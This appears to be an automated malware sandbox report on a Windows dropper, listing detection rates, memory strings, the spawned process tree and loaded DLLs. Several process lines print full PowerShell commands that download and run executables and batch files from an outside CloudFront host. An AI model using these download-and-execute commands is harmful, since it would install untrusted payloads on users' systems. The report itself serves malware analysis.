Source: C:\Users\user\Desktop\JlvRdFpwOD.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: u5o8.0.exe, 0000000A.00000002.2237570920.000000006B56F000.00000002.00000001.01000000.00000014.sdmp, u5o8.0.exe, 0000000A.00000002.2236101025.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000002.2223567272.000000001C14B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: u5o8.0.exe, 0000000A.00000002.2237570920.000000006B56F000.00000002.00000001.01000000.00000014.sdmp, u5o8.0.exe, 0000000A.00000002.2236101025.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000002.2223567272.000000001C14B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: u5o8.0.exe, 0000000A.00000002.2237570920.000000006B56F000.00000002.00000001.01000000.00000014.sdmp, u5o8.0.exe, 0000000A.00000002.2236101025.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000002.2223567272.000000001C14B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: u5o8.0.exe, 0000000A.00000002.2237570920.000000006B56F000.00000002.00000001.01000000.00000014.sdmp, u5o8.0.exe, 0000000A.00000002.2236101025.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000002.2223567272.000000001C14B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: u5o8.0.exe, u5o8.0.exe, 0000000A.00000002.2237570920.000000006B56F000.00000002.00000001.01000000.00000014.sdmp, u5o8.0.exe, 0000000A.00000002.2236101025.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000002.2223567272.000000001C14B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: u5o8.0.exe, 0000000A.00000002.2237570920.000000006B56F000.00000002.00000001.01000000.00000014.sdmp, u5o8.0.exe, 0000000A.00000002.2236101025.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000002.2223567272.000000001C14B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: u5o8.0.exe, 0000000A.00000002.2236101025.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000002.2223567272.000000001C14B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: u5o8.0.exe, 0000000A.00000003.1848549226.00000000224E4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: u5o8.0.exe, 0000000A.00000002.2236101025.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000002.2223567272.000000001C14B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: u5o8.0.exe, 0000000A.00000002.2236101025.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000002.2223567272.000000001C14B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: JlvRdFpwOD.exe Virustotal: Detection: 19%
Source: JlvRdFpwOD.exe ReversingLabs: Detection: 13%
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe File read: C:\Users\user\Desktop\JlvRdFpwOD.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\JlvRdFpwOD.exe "C:\Users\user\Desktop\JlvRdFpwOD.exe"
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c "C:\Users\user\AppData\Local\Temp\nsl17D4.tmp\app.bat"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c={CHANNEL}','stat')"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c={CHANNEL}','i1.exe')"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\i1.exe i1.exe /SUB=2838 /str=one
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id={SPOLO_ID}', 'i2.bat')"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K i2.bat
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Source: C:\Users\user\AppData\Local\Temp\i1.exe Process created: C:\Users\user\AppData\Local\Temp\u5o8.0.exe "C:\Users\user\AppData\Local\Temp\u5o8.0.exe"
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2312,i,1705992732450637003,3604299843699429544,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2312,i,1705992732450637003,3604299843699429544,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\i1.exe Process created: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe "C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe"
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\i1.exe Process created: C:\Users\user\AppData\Local\Temp\u5o8.3.exe "C:\Users\user\AppData\Local\Temp\u5o8.3.exe"
Source: C:\Users\user\AppData\Local\Temp\i1.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7352 -s 1248
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Process created: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe "C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7608 -s 2228
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe "C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe"
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c "C:\Users\user\AppData\Local\Temp\nsl17D4.tmp\app.bat" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c={CHANNEL}','stat')" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c={CHANNEL}','i1.exe')" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\i1.exe i1.exe /SUB=2838 /str=one Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id={SPOLO_ID}', 'i2.bat')" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K i2.bat Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Process created: C:\Users\user\AppData\Local\Temp\u5o8.0.exe "C:\Users\user\AppData\Local\Temp\u5o8.0.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Process created: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe "C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Process created: C:\Users\user\AppData\Local\Temp\u5o8.3.exe "C:\Users\user\AppData\Local\Temp\u5o8.3.exe" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2312,i,1705992732450637003,3604299843699429544,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2312,i,1705992732450637003,3604299843699429544,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Process created: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe "C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: msimg32.dll Jump to behavior
